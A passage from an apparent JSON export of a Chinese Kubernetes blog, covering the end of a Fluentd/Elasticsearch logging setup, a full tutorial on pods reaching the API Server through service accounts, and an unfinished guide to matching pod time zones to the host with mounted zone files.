{\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:30:15Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;info\u0026quot;,\u0026quot;optimize\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;message\u0026quot;:\u0026quot;Optimizing and caching bundles for kibana and statusPage. This may take a few minutes\u0026quot;} kibana缓存着实需要一段时间，请耐心等待！可能是几分钟。之后你将会看到如下日志：\n# kubectl logs -f kibana-logging-3604961973-jby53 -n kube-system ELASTICSEARCH_URL=http://elasticsearch-logging:9200 server.basePath: /api/v1/proxy/namespaces/kube-system/services/kibana-logging {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:30:15Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;info\u0026quot;,\u0026quot;optimize\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;message\u0026quot;:\u0026quot;Optimizing and caching bundles for kibana and statusPage. This may take a few minutes\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:04Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;info\u0026quot;,\u0026quot;optimize\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;message\u0026quot;:\u0026quot;Optimization of bundles for kibana and statusPage complete in 588.60 seconds\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:04Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:kibana@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:05Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:elasticsearch@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;yellow\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to yellow - Waiting for Elasticsearch\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:05Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:kbn_vislib_vis_types@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:05Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:markdown_vis@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:05Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:metric_vis@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:06Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:spyModes@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:06Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:statusPage@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:06Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:table_vis@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from uninitialized to green - Ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;uninitialized\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;uninitialized\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:06Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;listening\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;message\u0026quot;:\u0026quot;Server running at http://0.0.0.0:5601\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:11Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:elasticsearch@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;yellow\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from yellow to yellow - No existing Kibana index found\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;yellow\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;Waiting for Elasticsearch\u0026quot;} {\u0026quot;type\u0026quot;:\u0026quot;log\u0026quot;,\u0026quot;@timestamp\u0026quot;:\u0026quot;2017-03-02T08:40:14Z\u0026quot;,\u0026quot;tags\u0026quot;:[\u0026quot;status\u0026quot;,\u0026quot;plugin:elasticsearch@1.0.0\u0026quot;,\u0026quot;info\u0026quot;],\u0026quot;pid\u0026quot;:6,\u0026quot;state\u0026quot;:\u0026quot;green\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Status changed from yellow to green - Kibana index ready\u0026quot;,\u0026quot;prevState\u0026quot;:\u0026quot;yellow\u0026quot;,\u0026quot;prevMsg\u0026quot;:\u0026quot;No existing Kibana index found\u0026quot;} 接下来，通过浏览器访问下面地址就可以访问kibana的web页面了，注意：Kinaba的web页面加载也需要一段时间。\nhttps://{API Server external IP}:{API Server secure port}/api/v1/proxy/namespaces/kube-system/services/kibana-logging/app/kibana#/settings/indices/ 下面是创建一个index（相当于mysql中的一个database）页面：\n取消“Index contains time-based events”，然后点击“Create”即可创建一个Index。\n点击页面上的”Setting” -\u0026gt; “Status”，可以查看当前elasticsearch logging的整体状态，如果一切ok，你将会看到下图这样的页面：\n创建Index后，可以在Discover下看到ElasticSearch logging中汇聚的日志：\n六、小结 以上就是在Kubernetes 1.3.7集群上安装Fluentd和ElasticSearch stack，实现kubernetes cluster level logging的过程。在使用kubeadm安装的Kubernetes 1.5.1环境下安装这些，则基本不会遇到上述这些问题。\n另外ElasticSearch logging默认挂载的volume是emptyDir，实验用可以。但要部署在生产环境，必须换成Persistent Volume，比如：CephRBD。\n","permalink":"https://tonybai.com/2017/03/03/implement-kubernetes-cluster-level-logging-with-fluentd-and-elasticsearch-stack/","summary":"\u003cp\u003e在本篇文章中，我们继续来说\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e经过一段时间的探索，我们先后完成了\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes集群搭建\u003c/a\u003e，\u003ca href=\"http://tonybai.com/2016/10/23/install-dns-addon-for-k8s/\"\u003eDNS\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/\"\u003eDashboard\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2017/01/20/integrate-heapster-for-kubernetes-dashboard/\"\u003eHeapster\u003c/a\u003e等插件安装，\u003ca href=\"http://tonybai.com/2016/11/25/the-security-settings-for-kubernetes-cluster/\"\u003e集群安全配置\u003c/a\u003e，搭建\u003ca href=\"http://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003e作为Persistent Volume的CephRBD\u003c/a\u003e，以及\u003ca href=\"http://tonybai.com/2017/02/09/rolling-update-for-services-in-kubernetes-cluster\"\u003e服务更新\u003c/a\u003e等\u003ca href=\"http://tonybai.com/2017/01/24/explore-kubernetes-cluster-installed-by-kubeadm\"\u003e探索\u003c/a\u003e和实现工作。现在Kubernetes\u003ca href=\"https://kubernetes.io/docs/user-guide/logging/overview/\"\u003e集群层面的Logging\u003c/a\u003e需求逐渐浮上水面了。\u003c/p\u003e\n\u003cp\u003e随着一些小应用在我们的Kubernetes集群上的部署上线，集群的运行迈上了正轨。但问题随之而来，那就是如何查找和诊断集群自身的问题以及运行于Pod中应用的问题。日志，没错！我们也只能依赖Kubernetes组件以及Pod中应用输出的日志。不过目前我们仅能通过kubectl logs命令或\u003ca href=\"http://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/\"\u003eKubernetes Dashboard\u003c/a\u003e来查看Log。在没有cluster level logging的情况下，我们需要分别查看各个Pod的日志，操作繁琐，过程低效。我们迫切地需要为Kubernetes集群搭建一套集群级别的集中日志收集和分析设施。\u003c/p\u003e","title":"使用Fluentd和ElasticSearch Stack实现Kubernetes的集群Logging"},{"content":"Kubernetes API Server是整个Kubernetes集群的核心，我们不仅有从集群外部访问API Server的需求，有时，我们还需要从Pod的内部访问API Server。\n然而，在生产环境中，Kubernetes API Server都是“设防”的。在《Kubernetes集群的安全配置》一文中，我提到过：Kubernetes通过client cert、static token、basic auth等方法对客户端请求进行身份验证。对于运行于Pod中的Process而言，有些时候这些方法是适合的，但有些时候，像client cert、static token或basic auth这些信息是不便于暴露给Pod中的Process的。并且通过这些方法通过API Server验证后的请求是具有全部授权的，可以任意操作Kubernetes cluster，这显然是不能满足安全要求的。为此，Kubernetes更推荐大家使用service account这种方案的。本文就带大家详细说说如何通过service account从一个Pod中访问API Server的。\n零、试验环境 本文的试验环境是Kubernetes 1.3.7 cluster，双节点，master承载负荷。cluster通过kube-up.sh搭建的，具体的搭建方法见《一篇文章带你了解Kubernetes安装》。\n一、什么是service account？ 什么是service account? 顾名思义，相对于user account（比如：kubectl访问APIServer时用的就是user account），service account就是Pod中的Process用于访问Kubernetes API的account，它为Pod中的Process提供了一种身份标识。相比于user account的全局性权限，service account更适合一些轻量级的task，更聚焦于授权给某些特定Pod中的Process所使用。\nservice account作为一种resource存在于Kubernetes cluster中，我们可以通过kubectl获取当前cluster中的service acount列表：\n# kubectl get serviceaccount --all-namespaces NAMESPACE NAME SECRETS AGE default default 1 140d kube-system default 1 140d 我们查看一下kube-system namespace下名为”default”的service account的详细信息：\n# kubectl describe serviceaccount/default -n kube-system Name: default Namespace: kube-system Labels: \u0026lt;none\u0026gt; Image pull secrets: \u0026lt;none\u0026gt; Mountable secrets: default-token-hpni0 Tokens: default-token-hpni0 我们看到service account并不复杂，只是关联了一个secret资源作为token，该token也叫service-account-token，该token才是真正在API Server验证(authentication)环节起作用的：\n# kubectl get secret -n kube-system NAME TYPE DATA AGE default-token-hpni0 kubernetes.io/service-account-token 3 140d # kubectl get secret default-token-hpni0 -o yaml -n kube-system apiVersion: v1 data: ca.crt: {base64 encoding of ca.crt data} namespace: a3ViZS1zeXN0ZW0= token: {base64 encoding of bearer token} kind: Secret metadata: annotations: kubernetes.io/service-account.name: default kubernetes.io/service-account.uid: 90ded7ff-9120-11e6-a0a6-00163e1625a9 creationTimestamp: 2016-10-13T08:39:33Z name: default-token-hpni0 namespace: kube-system resourceVersion: \u0026quot;2864\u0026quot; selfLink: /api/v1/namespaces/kube-system/secrets/default-token-hpni0 uid: 90e71909-9120-11e6-a0a6-00163e1625a9 type: kubernetes.io/service-account-token 我们看到这个类型为service-account-token的secret资源包含的数据有三部分：ca.crt、namespace和token。\nca.crt\n这个是API Server的CA公钥证书，用于Pod中的Process对API Server的服务端数字证书进行校验时使用的；\nnamespace\n这个就是Secret所在namespace的值的base64编码：# echo -n “kube-system”|base64 =\u0026gt; “a3ViZS1zeXN0ZW0=”\ntoken\n这是一段用API Server私钥签发(sign)的bearer tokens的base64编码，在API Server authenticating环节，它将派上用场。\n二、API Server的service account authentication(身份验证) 前面说过，service account为Pod中的Process提供了一种身份标识，在Kubernetes的身份校验(authenticating)环节，以某个service account提供身份的Pod的用户名为：\nsystem:serviceaccount:(NAMESPACE):(SERVICEACCOUNT) 以上面那个kube-system namespace下的“default” service account为例，使用它的Pod的username全称为：\nsystem:serviceaccount:kube-system:default 有了username，那么credentials呢？就是上面提到的service-account-token中的token。在《Kubernetes集群的安全配置》一文中我们谈到过，API Server的authenticating环节支持多种身份校验方式：client cert、bearer token、static password auth等，这些方式中有一种方式通过authenticating（Kubernetes API Server会逐个方式尝试），那么身份校验就会通过。一旦API Server发现client发起的request使用的是service account token的方式，API Server就会自动采用signed bearer token方式进行身份校验。而request就会使用携带的service account token参与验证。该token是API Server在创建service account时用API server启动参数：–service-account-key-file的值签署(sign)生成的。如果–service-account-key-file未传入任何值，那么将默认使用–tls-private-key-file的值，即API Server的私钥（server.key）。\n通过authenticating后，API Server将根据Pod username所在的group：system:serviceaccounts和system:serviceaccounts:(NAMESPACE)的权限对其进行authority 和admission control两个环节的处理。在这两个环节中，cluster管理员可以对service account的权限进行细化设置。\n三、默认的service account Kubernetes会为每个cluster中的namespace自动创建一个默认的service account资源，并命名为”default”：\n# kubectl get serviceaccount --all-namespaces NAMESPACE NAME SECRETS AGE default default 1 140d kube-system default 1 140d 如果Pod中没有显式指定spec.serviceAccount字段值，那么Kubernetes会将该namespace下的”default” service account自动mount到在这个namespace中创建的Pod里。我们以namespace “default”为例，我们查看一下其中的一个Pod的信息：\n# kubectl describe pod/index-api-2822468404-4oofr Name: index-api-2822468404-4oofr Namespace: default ... ... Containers: index-api: ... ... Volume Mounts: /var/run/secrets/kubernetes.io/serviceaccount from default-token-40z0x (ro) Environment Variables: \u0026lt;none\u0026gt; ... ... Volumes: ... ... default-token-40z0x: Type: Secret (a volume populated by a Secret) SecretName: default-token-40z0x QoS Class: BestEffort Tolerations: \u0026lt;none\u0026gt; No events. 可以看到，kubernetes将default namespace中的service account “default”的service account token挂载(mount)到了Pod中容器的/var/run/secrets/kubernetes.io/serviceaccount路径下。\n深入容器内部，查看mount的serviceaccount路径下的结构：\n# docker exec 3d11ee06e0f8 ls /var/run/secrets/kubernetes.io/serviceaccount ca.crt namespace token 这三个文件与上面提到的service account的token中的数据是一一对应的。\n四、default service account doesn’t work 上面提到过，每个Pod都会被自动挂载一个其所在namespace的default service account，该service account用于该Pod中的Process访问API Server时使用。Pod中的Process该怎么用这个service account呢？Kubernetes官方提供了一个client-go项目可以为你演示如何使用service account访问API Server。这里我们就基于client-go项目中的examples/in-cluster/main.go来测试一下是否能成功访问API Server。\n先下载client-go源码：\n# go get k8s.io/client-go # ls -F CHANGELOG.md dynamic/ Godeps/ INSTALL.md LICENSE OWNERS plugin/ rest/ third_party/ transport/ vendor/ discovery/ examples/ informers/ kubernetes/ listers/ pkg/ README.md testing/ tools/ util/ 我们改造一下examples/in-cluster/main.go，考虑到panic会导致不便于观察Pod日志，我们将panic改为输出到“标准输出”，并且不return，让Pod周期性的输出相关日志，即便fail：\n// k8s.io/client-go/examples/in-cluster/main.go ... ... func main() { // creates the in-cluster config config, err := rest.InClusterConfig() if err != nil { fmt.Println(err) } // creates the clientset clientset, err := kubernetes.NewForConfig(config) if err != nil { fmt.Println(err) } for { pods, err := clientset.CoreV1().Pods(\u0026quot;\u0026quot;).List(metav1.ListOptions{}) if err != nil { fmt.Println(err) } else { fmt.Printf(\u0026quot;There are %d pods in the cluster\\n\u0026quot;, len(pods.Items)) } time.Sleep(10 * time.Second) } } 基于该main.go的go build默认输出，创建一个简单的Dockerfile：\nFrom ubuntu:14.04 MAINTAINER Tony Bai \u0026lt;bigwhite.cn@gmail.com\u0026gt; COPY main /root/main RUN chmod +x /root/main WORKDIR /root ENTRYPOINT [\u0026quot;/root/main\u0026quot;] 构建一个测试用docker image：\n# docker build -t k8s/example1:latest . ... ... # docker images|grep k8s k8s/example1 latest ceb3efdb2f91 14 hours ago 264.4 MB 创建一份deployment manifest：\n//main.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: k8s-example1 spec: replicas: 1 template: metadata: labels: run: k8s-example1 spec: containers: - name: k8s-example1 image: k8s/example1:latest imagePullPolicy: IfNotPresent 我们来创建该deployment（kubectl create -f main.yaml -n kube-system），观察Pod中的main程序能否成功访问到API Server：\n# kubectl logs k8s-example1-1569038391-jfxhx the server has asked for the client to provide credentials (get pods) the server has asked for the client to provide credentials (get pods) API Server log(/var/log/upstart/kube-apiserver.log): E0302 15:45:40.944496 12902 handlers.go:54] Unable to authenticate the request due to an error: crypto/rsa: verification error E0302 15:45:50.946598 12902 handlers.go:54] Unable to authenticate the request due to an error: crypto/rsa: verification error E0302 15:46:00.948398 12902 handlers.go:54] Unable to authenticate the request due to an error: crypto/rsa: verification error 出错了！kube-system namespace下的”default” service account似乎不好用啊！（注意：这是在kubernetes 1.3.7环境）。\n五、创建一个新的自用的service account 在kubernetes github issues中，有好多issue是关于”default” service account不好用的问题，给出的解决方法似乎都是创建一个新的service account。\nservice account的创建非常简单，我们创建一个serviceaccount.yaml：\n//serviceaccount.yaml apiVersion: v1 kind: ServiceAccount metadata: name: k8s-example1 创建该service account：\n# kubectl create -f serviceaccount.yaml serviceaccount \u0026quot;k8s-example1\u0026quot; created # kubectl get serviceaccount NAME SECRETS AGE default 1 139d k8s-example1 1 12s 修改main.yaml，让Pod显示使用这个新的service account：\n//main.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: k8s-example1 spec: replicas: 1 template: metadata: labels: run: k8s-example1 spec: serviceAccount: k8s-example1 containers: - name: k8s-example1 image: k8s/example1:latest imagePullPolicy: IfNotPresent 好了，我们重新创建该deployment，查看Pod日志：\n# kubectl logs k8s-example1-456041623-rqj87 There are 14 pods in the cluster There are 14 pods in the cluster ... ... 我们看到main程序使用新的service account成功通过了API Server的身份验证环节，并获得了cluster的相关信息。\n六、尾声 在我的另外一个使用kubeadm安装的k8s 1.5.1环境中，我重复做了上面这个简单测试，不同的是这次我直接使用了default service account。在k8s 1.5.1下，pod的执行结果是ok的，也就是说通过default serviceaccount，我们的client-go in-cluster example程序可以顺利通过API Server的身份验证，获取到相关的Pods元信息。\n七、参考资料 Kubernetes authentication Service Accounts Accessing the cluster Service Accounts Admin 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/03/03/access-api-server-from-a-pod-through-serviceaccount/","summary":"\u003cp\u003e\u003ca href=\"https://kubernetes.io/docs/admin/kube-apiserver/\"\u003eKubernetes API Server\u003c/a\u003e是整个\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes集群\u003c/a\u003e的核心，我们不仅有从集群外部访问API Server的需求，有时，我们还需要从Pod的内部访问API Server。\u003c/p\u003e\n\u003cp\u003e然而，在生产环境中，Kubernetes API Server都是“设防”的。在《\u003ca href=\"http://tonybai.com/2016/11/25/the-security-settings-for-kubernetes-cluster/\"\u003eKubernetes集群的安全配置\u003c/a\u003e》一文中，我提到过：Kubernetes通过client cert、static token、basic auth等方法对客户端请求进行\u003ca href=\"https://kubernetes.io/docs/admin/authentication/#authentication-strategies\"\u003e身份验证\u003c/a\u003e。对于运行于Pod中的Process而言，有些时候这些方法是适合的，但有些时候，像client cert、static token或basic auth这些信息是不便于暴露给Pod中的Process的。并且通过这些方法通过API Server验证后的请求是具有全部授权的，可以任意操作\u003ca href=\"http://tonybai.com/2017/01/24/explore-kubernetes-cluster-installed-by-kubeadm/\"\u003eKubernetes cluster\u003c/a\u003e，这显然是不能满足安全要求的。为此，Kubernetes更推荐大家使用\u003ca href=\"https://kubernetes.io/docs/user-guide/service-accounts/\"\u003eservice account\u003c/a\u003e这种方案的。本文就带大家详细说说如何通过service account从一个Pod中访问API Server的。\u003c/p\u003e","title":"在Kubernetes Pod中使用Service Account访问API Server"},{"content":"Kubernetes集群搭建起来后，一直跑得很稳定。之前的关注点更多集中在安装、配置、组件调试方面，一些细枝末节被忽略了。Pod中时区的设置就是其中之一。今天腾出功夫打算解决一下这个问题。\n一、问题现象 在我的Kubernetes 1.3.7集群的Master Node上，我们执行：\n# date Mon Feb 20 11:49:20 CST 2017 之后，在该Node上随意找到一个Pod中的Container，通过docker exec切入到容器内执行：\n# docker exec -it 1975d68de07a /bin/bash root@1975d68de07a:/# date Mon Feb 20 03:49:53 UTC 2017 我们发现Docker内输出的当前date与Host上输出的date是不一致的。这对于K8s集群自身的运转似乎并没有多大影响，至少运行这么长时间以来，未出现因为时间设置与Host不同而导致的问题。但是对跑在Pod中应用来说，这个时间设置的问题可能会给业务的运行带来很多烦恼。\n总之，一般来说，让Pod里的时间设置与Host上的Local time设置保持一致总是没错的。这里我们就来尝试解决这个问题。\n二、Pod使用Host时区设置的方案 我有两个K8s集群环境，一个是基于ubuntu 14.04 node的k8s 1.3.7 环境，一个是基于ubuntu 16.04 node以kubeadm安装的k8s 1.5.1环境。由于ubuntu 14.04和ubuntu 16.04 Host在timezone的设置上略有差异，因此我们也要分为几种情况对应(redhat系的os这里暂不涉及，但原理是相同的)：\n0、ubuntu上时区设置 在Ubuntu上，/etc/localtime是系统的本地时区设置文件，直接影响到系统的当前date输出。不过在Ubuntu 14.04和Ubuntu 16.04上，这个文件的内容稍有不同：\n在Ubuntu 14.04上，/etc/localtime就是一个regular file，其存储着本地时区的配置数据：\n# file /etc/localtime /etc/localtime: timezone data, version 2, 2 gmt time flags, 2 std time flags, no leap seconds, 16 transition times, 2 abbreviation chars 在我的Node上，其内容与/usr/share/zoneinfo/Asia/Shanghai指向的内容一致，好像/etc/localtime是这么得来的：\ncp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 而在Ubuntu 16.04上，/etc/localtime是一个symbolic link，链接到文件：/usr/share/zoneinfo/Asia/Shanghai\n# file /etc/localtime /etc/localtime: symbolic link to /usr/share/zoneinfo/Asia/Shanghai /usr/share/zoneinfo下存储着真正的时区设置文件，/usr/share/zoneinfo/Asia/Shanghai也是一个符号链接，指向的是/usr/share/zoneinfo/PRC：\n# file /usr/share/zoneinfo/PRC /usr/share/zoneinfo/PRC: timezone data, version 2, 2 gmt time flags, 2 std time flags, no leap seconds, 16 transition times, 2 abbreviation chars 在14.04 Node上，/etc/localtime与/usr/share/zoneinfo/PRC文件的内容是一模一样的。但在14.04的Pod中，这两个文件内容却是不同的：\n# docker exec -it fe936562b6ee /bin/bash # diff /etc/localtime /usr/share/zoneinfo/PRC Binary files /etc/localtime and /usr/share/zoneinfo/PRC differ 因此，如果要让Pod使用的本地时区设置与Host的一致，就必须在Pod的manifest中做些“手脚”，接下来我们来分门别类地仔细看看。\n1、Host 14.04，Pod 16.04 我们在14.04的node上随意run一个16.04的容器，可以看到：\n# docker run -it ubuntu:16.04 /bin/bash root@bf7cec08df23:/# ls -l /etc/localtime lrwxrwxrwx 1 root root 27 Jan 19 16:33 /etc/localtime -\u0026gt; /usr/share/zoneinfo/Etc/UTC 容器内的系统时间与host时间是不一致的。\n我们来创建一个使用ubuntu 16.04的docker image:\n//1604pod-image-dockerfile FROM ubuntu:16.04 CMD [\u0026quot;tail\u0026quot;, \u0026quot;-f\u0026quot;, \u0026quot;/var/log/bootstrap.log\u0026quot;] 在本地构建这个image：\n# docker build -f ./1604pod-image-dockerfile -t 1604podimage:latest . Sending build context to Docker daemon 5.632 kB Step 1 : FROM ubuntu:16.04 ---\u0026gt; f49eec89601e Step 2 : CMD tail -f /var/log/bootstrap.log ---\u0026gt; Using cache ---\u0026gt; 06ffb5c85d7c Successfully built 06ffb5c85d7c # docker images|grep 1604pod 1604podimage latest 06ffb5c85d7c 28 minutes ago 129.5 MB 我们来编写这个运行于16.04之上的pod的manifest文件：\n//1604-pod-on-1404-host.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-testpod spec: replicas: 1 template: metadata: labels: run: my-testpod spec: containers: - name: my-testpod image: 1604podimage:latest imagePullPolicy: IfNotPresent volumeMounts: - name: tz-config mountPath: /etc/localtime volumes: - name: tz-config hostPath: path: /usr/share/zoneinfo/Asia/Shanghai 我们将/usr/share/zoneinfo/Asia/Shanghai直接挂载为路径/etc/locatime了。创建该Pod并检查Pod内的系统时间：\n# kubectl create -f 1604-pod-on-1404-host.yaml deployment \u0026quot;my-testpod\u0026quot; created # kubectl exec my-testpod-802169720-ehqlt date Mon Feb 20 14:19:13 CST 2017 # date Mon Feb 20 14:19:15 CST 2017 可以看出Pod内的系统时间与Host上的时间在时区上保持一致了。\n2、Host 14.04， Pod 14.04 在ubuntu 14.04中，由于/etc/localtime自身就存储着时区设置，因此我们需要将其mount到Pod的对应位置中。我们的image demo如下：\n//1404pod-image-dockerfile FROM ubuntu:14.04 CMD [\u0026quot;tail\u0026quot;, \u0026quot;-f\u0026quot;, \u0026quot;/var/log/bootstrap.log\u0026quot;] 构建该image：\n# docker build -f ./1404pod-image-dockerfile -t 1404podimage:latest . Sending build context to Docker daemon 5.632 kB Step 1 : FROM ubuntu:14.04 ---\u0026gt; f2d8ce9fa988 Step 2 : CMD tail -f /var/log/bootstrap.log ---\u0026gt; Running in 6815ca6fe9d9 ---\u0026gt; bc7f7de7690d Removing intermediate container 6815ca6fe9d9 Successfully built bc7f7de7690d # docker images|grep 1404pod 1404podimage latest bc7f7de7690d 8 seconds ago 187.9 MB Pod manifest如下：\n//1404-pod-on-1404-host.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-testpod spec: replicas: 1 template: metadata: labels: run: my-testpod spec: containers: - name: my-testpod image: 1404podimage:latest imagePullPolicy: IfNotPresent volumeMounts: - name: tz-config mountPath: /etc/localtime volumes: - name: tz-config hostPath: path: /etc/localtime 可以看到，我们将host的/etc/locatime挂载到Pod内的/etc/localtime。创建该Pod后，我们查看一下Pod内的系统时间：\n# kubectl exec my-testpod-2443385716-g9d4n date Mon Feb 20 14:44:57 CST 2017 # date Mon Feb 20 14:44:59 CST 2017 可以看出：两者在时区设置上已经一致了。\n3、Host 16.04，Pod 16.04 由于有了上面的铺垫，后续的这两种情况，鉴于篇幅，我将简单描述。这里我们还将利用上面创建的两个image：1404podimage:latest和1604podimage:latest。\npod的manifest文件如下：\n//1604-pod-on-1604-host.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-testpod spec: replicas: 1 template: metadata: labels: run: my-testpod spec: containers: - name: my-testpod image: 1604podimage:latest imagePullPolicy: IfNotPresent volumeMounts: - name: tz-config mountPath: /etc/localtime volumes: - name: tz-config hostPath: path: /usr/share/zoneinfo/Asia/Shanghai 创建该Pod后，查看系统时间：\n# kubectl exec my-testpod-3193072711-7kwdl date Mon Feb 20 14:55:00 CST 2017 # date Mon Feb 20 14:55:31 CST 2017 主机和Pod内的系统时间在时区上一致了。\n4、Host 16.04，Pod 14.04 